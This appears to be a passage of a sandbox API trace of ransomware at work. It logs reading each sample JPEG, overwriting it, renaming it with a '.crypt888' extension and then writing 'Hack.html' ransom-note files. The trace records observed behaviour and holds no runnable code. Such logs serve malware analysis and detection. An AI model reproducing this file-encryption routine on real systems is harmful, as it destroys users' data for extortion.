[0092.219] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x91554 [0092.221] ReadFile (in: hFile=0x26c, lpBuffer=0x3738170, nNumberOfBytesToRead=0x91554, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x3738170*, lpNumberOfBytesRead=0x39ed24*=0x91554, lpOverlapped=0x0) returned 1 [0092.226] CloseHandle (hObject=0x26c) returned 1 [0092.378] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x0) returned 0x37 [0092.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0092.378] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.379] GetFileType (hFile=0x26c) returned 0x1 [0092.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0092.379] GetFileType (hFile=0x26c) returned 0x1 [0092.379] WriteFile (in: hFile=0x26c, lpBuffer=0x36698d0*, nNumberOfBytesToWrite=0x91560, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesWritten=0x39ed14*=0x91560, lpOverlapped=0x0) returned 1 [0092.389] CloseHandle (hObject=0x26c) returned 1 [0092.389] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x0) returned 0x37 [0092.389] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.crypt888", lpFilePart=0x0) returned 0x40 [0092.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0092.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xc8447980, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x91560)) returned 1 [0092.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0092.389] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.crypt888" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.crypt888")) returned 1 [0092.390] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x0) returned 0x36 [0092.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0092.390] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.391] GetFileType (hFile=0x26c) returned 0x1 [0092.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0092.392] GetFileType (hFile=0x26c) returned 0x1 [0092.392] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xbd616 [0092.394] ReadFile (in: hFile=0x26c, lpBuffer=0x36fae50, nNumberOfBytesToRead=0xbd616, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x36fae50*, lpNumberOfBytesRead=0x39ed24*=0xbd616, lpOverlapped=0x0) returned 1 [0092.402] CloseHandle (hObject=0x26c) returned 1 [0092.501] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x0) returned 0x36 [0092.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0092.501] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.507] GetFileType (hFile=0x26c) returned 0x1 [0092.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0092.508] GetFileType (hFile=0x26c) returned 0x1 [0092.508] WriteFile (in: hFile=0x26c, lpBuffer=0x36698d0*, nNumberOfBytesToWrite=0xbd620, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesWritten=0x39ed14*=0xbd620, lpOverlapped=0x0) returned 1 [0092.520] CloseHandle (hObject=0x26c) returned 1 [0092.520] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", lpFilePart=0x0) returned 0x36 [0092.520] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.crypt888", lpFilePart=0x0) returned 0x3f [0092.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0092.521] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xc8578480, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xbd620)) returned 1 [0092.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0092.521] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.crypt888" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.crypt888")) returned 1 [0092.521] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x0) returned 0x32 [0092.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0092.521] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.522] GetFileType (hFile=0x26c) returned 0x1 [0092.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0092.522] GetFileType (hFile=0x26c) returned 0x1 [0092.522] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xbea1f [0092.524] ReadFile (in: hFile=0x26c, lpBuffer=0x3726f10, nNumberOfBytesToRead=0xbea1f, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x3726f10*, lpNumberOfBytesRead=0x39ed24*=0xbea1f, lpOverlapped=0x0) returned 1 [0092.531] CloseHandle (hObject=0x26c) returned 1 [0092.643] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x0) returned 0x32 [0092.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0092.643] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.650] GetFileType (hFile=0x26c) returned 0x1 [0092.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0092.650] GetFileType (hFile=0x26c) returned 0x1 [0092.650] WriteFile (in: hFile=0x26c, lpBuffer=0x36698d0*, nNumberOfBytesToWrite=0xbea20, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesWritten=0x39ed14*=0xbea20, lpOverlapped=0x0) returned 1 [0092.661] CloseHandle (hObject=0x26c) returned 1 [0092.661] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", lpFilePart=0x0) returned 0x32 [0092.661] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.crypt888", lpFilePart=0x0) returned 0x3b [0092.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0092.661] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xc86cf0e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xbea20)) returned 1 [0092.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0092.662] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.crypt888" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.crypt888")) returned 1 [0092.662] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x0) returned 0x37 [0092.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0092.662] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.664] GetFileType (hFile=0x26c) returned 0x1 [0092.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0092.664] GetFileType (hFile=0x26c) returned 0x1 [0092.664] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x8907c [0092.665] ReadFile (in: hFile=0x26c, lpBuffer=0x3728310, nNumberOfBytesToRead=0x8907c, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x3728310*, lpNumberOfBytesRead=0x39ed24*=0x8907c, lpOverlapped=0x0) returned 1 [0092.670] CloseHandle (hObject=0x26c) returned 1 [0092.777] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x0) returned 0x37 [0092.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0092.777] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.783] GetFileType (hFile=0x26c) returned 0x1 [0092.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0092.783] GetFileType (hFile=0x26c) returned 0x1 [0092.783] WriteFile (in: hFile=0x26c, lpBuffer=0x36698d0*, nNumberOfBytesToWrite=0x89080, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesWritten=0x39ed14*=0x89080, lpOverlapped=0x0) returned 1 [0092.793] CloseHandle (hObject=0x26c) returned 1 [0092.793] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg", lpFilePart=0x0) returned 0x37 [0092.793] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.crypt888", lpFilePart=0x0) returned 0x40 [0092.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0092.793] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xc8825d40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x89080)) returned 1 [0092.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0092.793] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.crypt888" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.crypt888")) returned 1 [0092.794] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x0) returned 0x35 [0092.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0092.794] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.794] GetFileType (hFile=0x26c) returned 0x1 [0092.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0092.794] GetFileType (hFile=0x26c) returned 0x1 [0092.794] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xbde6b [0092.796] ReadFile (in: hFile=0x26c, lpBuffer=0x36f2970, nNumberOfBytesToRead=0xbde6b, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x36f2970*, lpNumberOfBytesRead=0x39ed24*=0xbde6b, lpOverlapped=0x0) returned 1 [0092.807] CloseHandle (hObject=0x26c) returned 1 [0092.933] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x0) returned 0x35 [0092.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0092.933] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.940] GetFileType (hFile=0x26c) returned 0x1 [0092.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0092.940] GetFileType (hFile=0x26c) returned 0x1 [0092.941] WriteFile (in: hFile=0x26c, lpBuffer=0x36698d0*, nNumberOfBytesToWrite=0xbde70, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesWritten=0x39ed14*=0xbde70, lpOverlapped=0x0) returned 1 [0092.954] CloseHandle (hObject=0x26c) returned 1 [0092.955] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg", lpFilePart=0x0) returned 0x35 [0092.955] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.crypt888", lpFilePart=0x0) returned 0x3e [0092.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0092.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xc89a2b00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xbde70)) returned 1 [0092.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0092.955] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.crypt888" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.crypt888")) returned 1 [0092.956] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x0) returned 0x33 [0092.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0092.956] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.956] GetFileType (hFile=0x26c) returned 0x1 [0092.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0092.956] GetFileType (hFile=0x26c) returned 0x1 [0092.956] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x97958 [0092.958] ReadFile (in: hFile=0x26c, lpBuffer=0x3727760, nNumberOfBytesToRead=0x97958, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x3727760*, lpNumberOfBytesRead=0x39ed24*=0x97958, lpOverlapped=0x0) returned 1 [0092.966] CloseHandle (hObject=0x26c) returned 1 [0093.062] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x0) returned 0x33 [0093.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0093.063] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0093.068] GetFileType (hFile=0x26c) returned 0x1 [0093.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0093.069] GetFileType (hFile=0x26c) returned 0x1 [0093.069] WriteFile (in: hFile=0x26c, lpBuffer=0x36698d0*, nNumberOfBytesToWrite=0x97960, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesWritten=0x39ed14*=0x97960, lpOverlapped=0x0) returned 1 [0093.080] CloseHandle (hObject=0x26c) returned 1 [0093.080] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg", lpFilePart=0x0) returned 0x33 [0093.080] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.crypt888", lpFilePart=0x0) returned 0x3c [0093.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0093.080] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xc8ad3600, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x97960)) returned 1 [0093.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0093.080] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.crypt888" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.crypt888")) returned 1 [0093.081] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hack.html", lpFilePart=0x0) returned 0x32 [0093.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0093.081] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hack.html" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x26c [0093.082] GetFileType (hFile=0x26c) returned 0x1 [0093.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0093.082] GetFileType (hFile=0x26c) returned 0x1 [0093.082] WriteFile (in: hFile=0x26c, lpBuffer=0x26b2408*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x26b2408*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0093.083] CloseHandle (hObject=0x26c) returned 1 [0093.083] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x22 [0093.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0093.083] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Hack.html" (normalized: "c:\\users\\public\\pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x26c [0093.085] GetFileType (hFile=0x26c) returned 0x1 [0093.085] 